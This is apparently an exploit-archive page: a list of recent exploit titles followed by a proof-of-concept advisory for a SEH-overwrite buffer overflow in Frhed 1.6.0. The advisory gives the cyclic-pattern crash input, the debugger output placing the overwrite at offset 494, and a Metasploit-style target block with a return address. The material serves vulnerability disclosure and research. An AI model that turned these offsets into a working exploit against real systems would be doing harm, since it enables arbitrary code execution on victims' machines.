
36 changes to exploits/shellcodes/ghdb MiniDVBLinux 5.4 - Change Root Password MiniDVBLinux 5.4 - Remote Root Command Injection MiniDVBLinux 5.4 - Arbitrary File Read MiniDVBLinux 5.4 - Unauthenticated Stream Disclosure MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE) MiniDVBLinux <=5.4 - Config Download Exploit Desktop Central 9.1.0 - Multiple Vulnerabilities FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass Aero CMS v0.0.1 - PHP Code Injection (auth) Aero CMS v0.0.1 - SQL Injection (no auth) Atom CMS v2.0 - SQL Injection (no auth) Canteen-Management v1.0 - SQL Injection Canteen-Management v1.0 - XSS-Reflected Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS) eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE) FlatCore CMS 2.1.1 - Stored Cross-Site Scripting (XSS) Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE) WebTareas 2.4 - RCE (Authorized) WebTareas 2.4 - Reflected XSS (Unauthorised) WebTareas 2.4 - SQL Injection (Unauthorised) WPN-XM Serverstack for Windows 0.8.6 - Multiple Vulnerabilities Zentao Project Management System 17.0 - Authenticated Remote Code Execution (RCE) Zoneminder < v1.37.24 - Log Injection & Stored XSS & CSRF Bypass Grafana <=6.2.4 - HTML Injection Hex Workshop v6.7 - Buffer overflow DoS Scdbg 1.0 - Buffer overflow DoS Sysax Multi Server 6.95 - 'Password' Denial of Service (PoC) AVS Audio Converter 10.3 - Stack Overflow (SEH) Explorer32++ v1.3.5.531 - Buffer overflow Frhed (Free hex editor) v1.6.0 - Buffer overflow Gestionale Open 12.00.00 - 'DB_GO_80' Unquoted Service Path Mediconta 3.7.27 - 'servermedicontservice' Unquoted Service Path Resource Hacker v3.6.0.92 - Buffer overflow Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path WiFi Mouse 1.8.3.2 - Remote Code Execution (RCE)
47 lines
No EOL
1.6 KiB
Text
47 lines
No EOL
1.6 KiB
Text
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
|
|
# Discovery by: Rafael Pedrero
|
|
# Discovery Date: 2022-01-09
|
|
# Vendor Homepage: http://frhed.sourceforge.net/
|
|
# Software Link : http://frhed.sourceforge.net/
|
|
# Tested Version: 1.6.0
|
|
# Tested on: Windows 10
|
|
|
|
CVSS v3: 7.3
|
|
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
|
|
CWE: CWE-119
|
|
|
|
Buffer overflow controlling the Structured Exception Handler (SEH) records
|
|
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
|
|
attackers to execute arbitrary code via a long file name argument.
|
|
|
|
Proof of concept:
|
|
|
|
Open Frhed.exe from command line with a large string in Arguments, more
|
|
than 494 chars:
|
|
|
|
File '<Frhed_PATH>\Frhed.exe'
|
|
Arguments
|
|
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'
|
|
|
|
SEH chain of main thread
|
|
Address SE handler
|
|
0018FC8C 41367141
|
|
35714134 *** CORRUPT ENTRY ***
|
|
|
|
0BADF00D [+] Examining SEH chain
|
|
0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
|
|
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
|
|
data after the handler
|
|
|
|
0BADF00D ------------------------------
|
|
'Targets' =>
|
|
[
|
|
[ '<fill in the OS/app version here>',
|
|
{
|
|
'Ret' => 0x00401ba7, #
|
|
pop ecx # pop ecx # ret - Frhed.exe (change this value by other without
|
|
\x00)
|
|
'Offset' => 494
|
|
}
|
|
],
|
|
], |